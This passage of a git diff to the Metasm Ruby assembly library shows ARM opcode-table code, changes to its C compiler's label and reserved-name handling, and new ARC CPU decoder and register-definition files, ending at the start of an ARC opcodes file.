<< 6) | (1 << 5) - addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) - addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) - addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) - end - - def addop_load_puwt(name, op, *a) - addop_load_puw name, op, *a - addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a - end - def addop_load_o(name, op, *a) - addop_load_puwt name, op, :mem_rn_i12, *a - addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a - end - def addop_load(name, op) - addop_load_o name, op - addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length - end - - def addop_ldm_go(name, op, *a) - addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a - end - def addop_ldm_w(name, op, *a) - addop_ldm_go name, op, *a # base reg untouched - addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated - end - def addop_ldm_s(name, op) - addop_ldm_w name, op # transfer regs - addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs - end - def addop_ldm_p(name, op) - addop_ldm_s name+'a', op # target memory included - addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr - end - def addop_ldm_u(name, op) - addop_ldm_p name+'d', op # transfer made downward - addop_ldm_p name+'i', op | (1 << 23) # transfer made upward - end - def addop_ldm(name, op) - addop_ldm_u name, op - end - - # ARMv6 instruction set, aka arm7/arm9 - def init_arm_v6 - @opcode_list = [] - @valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs << - :tothumb << :tojazelle - @valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, - :rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12] - @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, - :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, - :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, - :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, - :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, - :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf - - @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, - :crn => 16, :crd => 12, :crm => 0, :cpn => 8, - :rnx => 16, :rdx => 12, :rsx => 8, - :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, - :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, - :u => 23, :mask => 16, :sbo => 12, :cond => 28 - - addop_data 'and', 0, :rd, :rn - addop_data 'eor', 1, :rd, :rn - addop_data 'xor', 1, :rd, :rn - addop_data 'sub', 2, :rd, :rn - addop_data 'rsb', 3, :rd, :rn - addop_data 'add', 4, :rd, :rn - addop_data 'adc', 5, :rd, :rn - addop_data 'sbc', 6, :rd, :rn - addop_data 'rsc', 7, :rd, :rn - addop_data 'tst', 8, :rdx, :rn - addop_data 'teq', 9, :rdx, :rn - addop_data 'cmp', 10, :rdx, :rn - addop_data 'cmn', 11, :rdx, :rn - addop_data 'orr', 12, :rd, :rn - addop_data 'or', 12, :rd, :rn - addop_data 'mov', 13, :rd, :rnx - addop_data 'bic', 14, :rd, :rn - addop_data 'mvn', 15, :rd, :rnx - - addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 - addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip - addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef - addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24 - addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm - addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm - addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle - - addop_load 'str', (1 << 26) - addop_load 'ldr', (1 << 26) | (1 << 20) - addop_load_lsh - addop_ldm 'stm', (1 << 27) - addop_ldm 'ldm', (1 << 27) | (1 << 20) - end - alias init_latest init_arm_v6 -end -end - -__END__ - addop_cond 'mrs', 0b0001000011110000000000000000, :rd - addop_cond 'msr', 0b0001001010011111000000000000, :rd - addop_cond 'msrf', 0b0001001010001111000000000000, :rd - - addop_cond 'mul', 0b000000000000001001 << 4, :rd, :rn, :rs, :rm - addop_cond 'mla', 0b100000000000001001 << 4, :rd, :rn, :rs, :rm - - addop_cond 'swp', 0b0001000000000000000010010000, :rd, :rn, :rs, :rm - addop_cond 'swpb', 0b0001010000000000000010010000, :rd, :rn, :rs, :rm - - addop_cond 'undef', 0b00000110000000000000000000010000 - - addop_cond 'swi', 0b00001111 << 24 - - addop_cond 'bkpt', 0b1001000000000000001110000 - addop_cond 'movw', 0b0011 << 24, :movwimm diff --git a/lib/metasm/metasm/compile_c.rb b/lib/metasm/metasm/compile_c.rb index 4dcd816925..63a1b8b86d 100644 --- a/lib/metasm/metasm/compile_c.rb +++ b/lib/metasm/metasm/compile_c.rb @@ -11,14 +11,14 @@ module Metasm module C class Parser def precompile - @toplevel.precompile(Compiler.new(self)) + @toplevel.precompile(Compiler.new(self, @program)) self end end # each CPU defines a subclass of this one class Compiler - # an ExeFormat (mostly used for unique label creation) + # an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name) attr_accessor :exeformat # the C Parser (destroyed by compilation) attr_accessor :parser @@ -26,6 +26,8 @@ module C attr_accessor :source # list of unique labels generated (to recognize user-defined ones) attr_accessor :auto_label_list + # map asm name -> original C name (for exports etc) + attr_accessor :label_oldname attr_accessor :curexpr # allows 'raise self' (eg struct.offsetof) @@ -34,9 +36,11 @@ module C end # creates a new CCompiler from an ExeFormat and a C Parser - def initialize(parser, exeformat=ExeFormat.new, source=[]) + def initialize(parser, exeformat=nil, source=[]) + exeformat ||= ExeFormat.new @parser, @exeformat, @source = parser, exeformat, source @auto_label_list = {} + @label_oldname = {} end def new_label(base='') @@ -155,7 +159,9 @@ module C c_init_state(func) # hide the full @source while compiling, then add prolog/epilog (saves 1 pass) - @source << '' << "#{func.name}:" + @source << '' + @source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name] + @source << "#{func.name}:" presource, @source = @source, [] c_block(func.initializer) @@ -246,6 +252,7 @@ module C w = data.type.align(@parser) @source << ".align #{align = w}" if w > align + @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] @source << data.name.dup len = c_idata_inner(data.type, data.initializer) len %= w @@ -398,6 +405,7 @@ module C end def c_udata(data, align) + @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] @source << "#{data.name} " @source.last << case data.type @@ -418,7 +426,11 @@ module C len == 0 ? align : len end + # return non-nil if the variable name is unsuitable to appear as is in the asm listing + # eg filter out asm instruction names def check_reserved_name(var) + return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name) + %w[db dw dd dq].include?(var.name) end end @@ -538,21 +550,36 @@ module C class Declaration def precompile(compiler, scope) if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var) - # TODO fix label name in export table if __exported - scope.symbol.delete @var.name old = @var.name - @var.name = compiler.new_label @var.name until @var.name != old - compiler.toplevel.symbol[@var.name] = @var - # TODO no pure inline if addrof(func) needed - compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline' + ref = scope.symbol.delete old + if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer) + if n = compiler.label_oldname.index(old) + # reuse same name as predeclarations + @var.name = n + else + newname = old + newname = compiler.new_label newname until newname != old + if not compiler.check_reserved_name(@var) + compiler.label_oldname[newname] = old + end + @var.name = newname + end + ref ||= scope.symbol[@var.name] || @var + # append only one actual declaration for all predecls (the one with init, or the last uninit) + scope.statements << self if ref.eql?(@var) + else + @var.name = compiler.new_label @var.name until @var.name != old + compiler.toplevel.statements << self + end + compiler.toplevel.symbol[@var.name] = ref else scope.symbol[@var.name] ||= @var - appendme = true + appendme = true if scope.symbol[@var.name].eql?(@var) end if i = @var.initializer if @var.type.kind_of? Function - if @var.type.type.kind_of? Struct + if @var.type.type.kind_of? Union s = @var.type.type v = Variable.new v.name = compiler.new_label('return_struct_ptr') @@ -568,6 +595,7 @@ module C Label.new(i.return_label).precompile(compiler, i) i.precompile_optimize # append now so that static dependencies are declared before us + # TODO no pure inline if addrof(func) needed scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline' elsif scope != compiler.toplevel and @var.storage != :static scope.statements << self if appendme @@ -580,7 +608,6 @@ module C else scope.statements << self if appendme end - end # turns an initializer to CExpressions in scope.statements @@ -877,7 +904,7 @@ module C def precompile(compiler, scope) if @value @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression - if @value.type.untypedef.kind_of? Struct + if @value.type.untypedef.kind_of? Union @value = @value.precompile_inner(compiler, scope) func = scope.function.type CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope) @@ -1011,7 +1038,7 @@ module C lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) @lexpr = nil @op = nil - if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0 + if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0 off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned)) @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type) # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr)) @@ -1157,7 +1184,7 @@ module C } scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope) - elsif @type.kind_of? Struct + elsif @type.kind_of? Union var = Variable.new var.name = compiler.new_label('return_struct') var.type = @type @@ -1434,4 +1461,3 @@ module C end end end - diff --git a/lib/metasm/metasm/cpu/arc.rb b/lib/metasm/metasm/cpu/arc.rb new file mode 100644 index 0000000000..3ee319836c --- /dev/null +++ b/lib/metasm/metasm/cpu/arc.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/arc/decode' diff --git a/lib/metasm/metasm/cpu/arc/decode.rb b/lib/metasm/metasm/cpu/arc/decode.rb new file mode 100644 index 0000000000..9b93a3528b --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/decode.rb @@ -0,0 +1,425 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/arc/opcodes' +require 'metasm/decode' + +module Metasm +class ARC + def major_opcode(val, sz = 16) + return val >> (sz == 16 ? 0xB : 0x1B) + end + + def sub_opcode(val) + return ((val >> 16) & 0x3f) + end + + def build_opcode_bin_mask(op, sz) + op.bin_mask = 0 + op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]} + op.bin_mask = ((1 << sz)-1) ^ op.bin_mask + end + + def build_bin_lookaside + bin_lookaside = {} + opcode_list.each{|mode,oplist| + lookaside = {} + # 2nd level to speed up lookaside for major 5 + lookaside[5] = {} + oplist.each { |op| + next if not op.bin.kind_of? Integer + build_opcode_bin_mask(op, mode) + mj = major_opcode(op.bin, mode) + if mode == 32 and mj == 5 + (lookaside[mj][sub_opcode(op.bin)] ||= []) << op + else + (lookaside[mj] ||= []) << op + end + } + bin_lookaside[mode] = lookaside + } + bin_lookaside + end + + def instruction_size(edata) + val = major_opcode(edata.decode_imm(:u16, @endianness)) + edata.ptr -= 2 + (val >= 0xC) ? 16 : 32 + end + + def memref_size(di) + case di.opcode.name + when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1 + when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2 + else 4 + end + end + + def decode_bin(edata, sz) + case sz + when 16; edata.decode_imm(:u16, @endianness) + when 32 + # wordswap + val = edata.decode_imm(:u32, :little) + ((val >> 16) & 0xffff) | ((val & 0xffff) << 16) + end + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + + @instrlength = instruction_size(edata) + val = decode_bin(edata, @instrlength) + edata.ptr -= @instrlength/8 + + maj = major_opcode(val, @instrlength) + lookaside = @bin_lookaside[@instrlength][maj] + lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5 + + op = lookaside.select { |opcode| + if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin + puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} - #{opcode.name} - #{opcode.args}" + end + (val & opcode.bin_mask) == opcode.bin + } + + if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop' + op = op.last + elsif op == nil or op.size != 1 + puts "[> I sense a disturbance in the force <]" + op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } + puts "current value: #{Expression[val]}" + puts "current value: 0b#{val.to_s(2)}" + op = nil + else + op = op.first + end + + di if di.opcode = op + end + + Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15] + def reduced_reg_set(i) + Reduced_reg[i] + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = decode_bin(edata, @instrlength) + + field_val = lambda { |f| + r = (val >> @fields_shift[f]) & @fields_mask[f] + case f + + # 16-bits instruction operands ------------------------------------------" + when :ca, :cb, :cb2, :cb3, :cc; r = reduced_reg_set(r) + when :ch + r = (((r & 7) << 3) | (r >> 5)) + when :@cbu7, :@cbu6, :@cbu5 + r = r & 0b11111 + r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r) + when :cu5ee; r = r << 2 + when :cdisps13 + r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2) + when :cdisps10 + r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2) + when :cdisps8 + r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) + when :cdisps7 + r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2) + when :cs9, :cs10, :cs11 + r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) ))) + r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r) + when :@cspu7; + r = r << 2 + + # 32-bits instruction operands ------------------------------------------" + when :b + r = (r >> 12) | ((r & 0x7) << 3) + when :s8e + r = ((r & 0x1) << 7) | (r >> 2) + r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2) + + when :u6e + r = (r << 1) + ((di.address >> 2) << 2) + when :s9 + r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) + + when :s12 + r = (r >> 6) | ((r & 0x3f) << 6) + r = Expression.make_signed(r, 12) + + when :s12e + r = (r >> 6) | ((r & 0x3f) << 6) + r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2) + + when :s21e + r = ((r & 0x3ff) << 10) | (r >> 11) + r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2) + + when :s21ee # pc-relative + r = ((r & 0x3ff) << 9) | (r >> 12) + r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2) + + when :s25e # pc-relative + r = ((r & 0xf) << 20) | (((r >> 6) & 0x3ff) << 10) | (r >> 17) + r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2) + + when :s25ee # pc-relative + r = ((r & 0xf) << 19) | (((r >> 6) & 0x3ff) << 9) | (r >> 18) + r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2) + + when :@bs9 + r = r >> 3 + s9 = ((r & 1) << 8) | ((r >> 1) & 0xff) + r = Expression.make_signed(s9, 9) + + when :bext, :cext, :@cext + if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E) + tmp = edata.decode_imm(:u32, :little) + r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] + else + r = GPR.new(r) + end + + else r + end + r + } + + # decode properties fields + op.args.each { |a| + case a + when :flags15, :flags16 + di.instruction.opname += '.f' if field_val[a] != 0 + when :ccond + di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0 + when :delay5, :delay16 + di.instruction.opname += '.d' if field_val[a] != 0 + when :cache5, :cache11, :cache16 + di.instruction.opname +='.di' if field_val[a] != 0 + when :signext6, :signext16 + di.instruction.opname += '.x' if field_val[a] != 0 + when :wb3, :wb9, :wb22 + case field_val[a] + when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a') + when 2; di.instruction.opname += '.ab' + when 3; di.instruction.opname += '.as' + end + when :sz1, :sz7, :sz16, :sz17 + case field_val[a] + when 1; di.instruction.opname += 'b' + when 2; di.instruction.opname += 'w' + end + else + di.instruction.args << case a + + # 16-bits instruction operands ------------------------------------------" + when :cr0; GPR.new 0 + when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a]) + when :ch + if ((r = field_val[a]) == 0x3E) + tmp = edata.decode_imm(:u32, :little) + Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] + else + GPR.new(r) + end + + when :@gps9, :@gps10, :@gps11 + imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9 + Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di)) + + when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]] + when :cs9, :cs10, :cs11; Expression[field_val[a]] + when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]] + when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di)) + when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di)) + when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di)) + when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di)) + + # 32-bits instruction operands ------------------------------------------" + when :a, :b + ((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r) + when :b2; GPR.new field_val[:b] + when :c; GPR.new field_val[a] + when :bext, :cext; field_val[a] + when :@cext + target = field_val[a] + (di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target + + when :@bextcext + tmp = field_val[a] + #c = tmp & 0x3F + tmp = tmp >> 6 + b = (tmp >> 12) | ((tmp & 0x7) << 3) + Memref.new(field_val[:bext], field_val[:cext], memref_size(di)) + + when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]] + when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]] + when :auxs12; AUX.new field_val[:s12] + when :@c; Memref.new(GPR.new(field_val[a]), nil, memref_size(di)) + when :@bcext; Memref.new(field_val[a], nil, memref_size(di)) + when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di)) + when :@bs9 + # [b,s9] or [limm] if b = 0x3E + base = field_val[:bext] + Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di)) + + # common instruction operands ------------------------------------------" + when :zero; Expression[0] + when :gp; GPR.new(26) + when :sp, :sp2; GPR.new(28) + when :blink; GPR.new(31) + when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di)) + when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di)) + when :@blink; Memref.new(GPR.new(31), nil, memref_size(di)) + + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.virtsize + + di + end + + def disassembler_default_func + df = DecodedFunction.new + df.backtrace_binding = {} + 15.times { |i| + df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown + } + df.backtracked_for = [] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] + btfor + else [] + end + } + df + end + + REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60] + def register_symbols + REG_SYMS + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def opshift(op) + op[/\d/].to_i + end + + def with_res(arg) + arg != :zero + end + + def init_backtrace_binding + sp = :r28 + blink = :r31 + + @backtrace_binding ||= {} + + mask = lambda { |sz| (1 << sz)-1 } # 32bits => 0xffff_ffff + + opcode_list.each{|mode, oplist| + oplist.map { |ol| ol.name }.uniq.each { |op| + binding = case op + when /^add/, /^sub/ + lambda { |di, a0, a1, a2| + if (shift = opshift(op)) == 0 + { a0 => Expression[[a1, :+, a2], :&, mask[32]] } + else + { a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] } + end + } + when /^and/ + lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } + when /^asl/ + lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } } + when /^bxor/ + lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }} + when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } } + when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } } + when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } } + when 'bl', 'bl_s', /^bl\./ + # FIXME handle delay slot + # "This address is taken either from the first instruction following the branch (current PC) or the + # instruction after that (next PC) according to the delay slot mode (.d)." + lambda { |di, a0| { blink => Expression[di.next_addr] } } + when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } } + when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } } + when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } } + when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } + when /^st/, /^sr/; lambda { |di, a0, a1| { a1 => a0 } } + when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } } + when 'push_s' + lambda { |di, a0| { + sp => Expression[sp, :-, 4], + Indirection[sp, @size/8, di.address] => Expression[a0] + } } + when 'pop_s' + lambda { |di, a0| { + a0 => Indirection[sp, @size/8, di.address], + sp => Expression[sp, :+, 4] + } } + end + @backtrace_binding[op] ||= binding if binding + } + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when GPR; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = case di.opcode.name + when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp' + expr = di.instruction.args.last + expr.kind_of?(Memref) ? expr.base : expr + else di.instruction.args.last + end + + [Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]] + end + + def backtrace_is_function_return(expr, di=nil) + Expression[expr].reduce == Expression[register_symbols[5]] + end + + def delay_slot(di=nil) + return 0 if (not di) or (not di.opcode.props[:setip]) + return 1 if di.opcode.props[:delay_slot] + (di.instruction.opname =~ /\.d/) ? 0 : 1 + end +end +end diff --git a/lib/metasm/metasm/cpu/arc/main.rb b/lib/metasm/metasm/cpu/arc/main.rb new file mode 100644 index 0000000000..2d0a5bd042 --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/main.rb @@ -0,0 +1,191 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm +class ARC < CPU + def initialize(e = :little) + super() + @endianness = e + @size = 32 + end + + class Reg + include Renderable + + attr_accessor :i + + def initialize(i); @i = i end + + def ==(o) + o.class == self.class and o.i == i + end + end + + # general purpose reg + # Result R0-R1 + # Arguments R0-R7 + # Caller Saved Registers R0-R12 + # Callee Saved Registers R13-R25 + # Static chain pointer (if required) R11 + # Register for temp calculation R12 + # Global Pointer R26 (GP) + # Frame Pointer R27 (FP) + # Stack Pointer R28 (SP) + # Interrupt Link Register 1 R29 (ILINK1) + # Interrupt Link Register 2 R30 (ILINK2) + # Branch Link Register R31 (BLINK) + class GPR < Reg + Sym = (0..64).map { |i| "r#{i}".to_sym } + def symbolic; Sym[@i] end + + Render = { + 26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program + 27 => 'fp', # frame pointer + 28 => 'sp', # stak pointer + 29 => 'ilink1', # maskable interrupt link register + 30 => 'ilink2', # maskable interrupt link register 2 + 31 => 'blink', # branch link register + 60 => 'lp_count', # loop count register (24 bits) + # "When a destination register is set to r62 there is no destination for the result of the instruction so the + # result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit + # in the instruction)." + 62 => 'zero' + } + + def render + if s = Render[i] + [s] + else + # r0-r28 general purpose registers + # r32-r59 reserved for extentions + ["r#@i"] + end + end + + end + + class AUX < Reg + def symbolic; "aux#{i}".to_sym end + + Render = { + 0x00 => 'status', # Status register (Original ARCtangent-A4 processor format) + 0x01 => 'semaphore', # Inter-process/Host semaphore register + 0x02 => 'lp_start', # Loop start address (32-bit) + 0x03 => 'lp_end', # Loop end address (32-bit) + 0x04 => 'identity', # Processor Identification register + 0x05 => 'debug', # Debug register + 0x06 => 'pc', # PC register (32-bit) + 0x0A => 'status32', # Status register (32-bit) + 0x0B => 'status32_l1', # Status register save for level 1 interrupts + 0x0C => 'status32_l2', # Status register save for level 2 interrupts + 0x10 => 'ic_ivic', # Cache invalidate + 0x11 => 'ic_ctrl', # Mode bits for cache controller + 0x12 => 'mulhi', # High part of Multiply + 0x19 => 'ic_ivil', + 0x21 => 'timer0_cnt', # Processor Timer 0 Count value + 0x22 => 'timer0_ctrl', # Processor Timer 0 Control value + 0x23 => 'timer0_limit', # Processor Timer 0 Limit value + 0x25 => 'int_vector_base', # Interrupt Vector Base address + 0x40 => 'im_set_dc_ctrl', + 0x41 => 'aux_macmode', # Extended Arithmetic Status and Mode + 0x43 => 'aux_irq_lv12', # Interrupt Level Status + 0x47 => 'dc_ivdc', # Invalidate cache + 0x48 => 'dc_ctrl', # Cache control register + 0x49 => 'dc_ldl', # Lock data line + 0x4A => 'dc_ivdl', # Invalidate data line + 0x4B => 'dc_flsh', # Flush data cache + 0x4C => 'dc_fldl', # Flush data line + 0x58 => 'dc_ram_addr', # Access RAM address + 0x59 => 'dc_tag', # Tag Access + 0x5A => 'dc_wp', # Way Pointer Access + 0x5B => 'dc_data', # Data Access + 0x62 => 'crc_bcr', + 0x64 => 'dvfb_bcr', + 0x65 => 'extarith_bcr', + 0x68 => 'vecbase_bcr', + 0x69 => 'perbase_bcr', + 0x6f => 'mmu_bcr', + 0x72 => 'd_cache_build', # Build: Data Cache + 0x73 => 'madi_build', # Build: Multiple ARC Debug I/F + 0x74 => 'ldstram_build', # Build: LD/ST RAM + 0x75 => 'timer_build', # Build: Timer + 0x76 => 'ap_build', # Build: Actionpoints + 0x77 => 'i_cache_build', # Build: I-Cache + 0x78 => 'addsub_build', # Build: Saturated Add/Sub + 0x79 => 'dspram_build', # Build: Scratch RAM & XY Memory + 0x7B => 'multiply_build', # Build: Multiply + 0x7C => 'swap_build', # Build: Swap + 0x7D => 'norm_build', # Build: Normalise + 0x7E => 'minmax_build', # Build: Min/Max + 0x7F => 'barrel_build', # Build: Barrel Shift + 0x100 => 'timer1_cnt', # Processor Timer 1 Count value + 0x101 => 'timer1_ctrl', # Processor Timer 1 Control value + 0x102 => 'timer1_limit', # Processor Timer 1 Limit value + 0x200 => 'aux_irq_lev', # Interrupt Level Programming + 0x201 => 'aux_irq_hint', # Software Triggered Interrupt + 0x202 => 'aux_irq_mask', # Masked bits for Interrupts + 0x203 => 'aux_irq_base', # Interrupt Vector base address + 0x400 => 'eret', # Exception Return Address + 0x401 => 'erbta', # Exception Return Branch Target Address + 0x402 => 'erstatus', # Exception Return Status + 0x403 => 'ecr', # Exception Cause Register + 0x404 => 'efa', # Exception Fault Address + 0x40A => 'icause1', # Level 1 Interrupt Cause Register + 0x40B => 'icause2', # Level 2 Interrupt Cause Register + 0x40C => 'aux_ienable', # Interrupt Mask Programming + 0x40D => 'aux_itrigger', # Interrupt Sensitivity Programming + 0x410 => 'xpu', # User Mode Extension Enables + 0x412 => 'bta', # Branch Target Address + 0x413 => 'bta_l1', # Level 1 Return Branch Target + 0x414 => 'bta_l2', # Level 2 Return Branch Target + 0x415 => 'aux_irq_pulse_cancel', # Interrupt Pulse Cancel + 0x416 => 'aux_irq_pending', # Interrupt Pending Register + } + + def render + if s = Render[i] + [s] + else + ["aux#@i"] + end + end + end + + class Memref + attr_accessor :base, :disp + + def initialize(base, disp, sz) + @base, @disp, @size = base, disp, sz + end + + def symbolic(orig) + b = @base + b = b.symbolic if b.kind_of? Reg + + if disp + o = @disp + o = o.symbolic if o.kind_of? Reg + e = Expression[b, :+, o].reduce + else + e = Expression[b].reduce + end + + Indirection[e, @size, orig] + end + + include Renderable + + def render + if @disp and @disp != 0 + ['[', @base, ', ', @disp, ']'] + else + ['[', @base, ']'] + end + end + end +end +end diff --git a/lib/metasm/metasm/cpu/arc/opcodes.rb 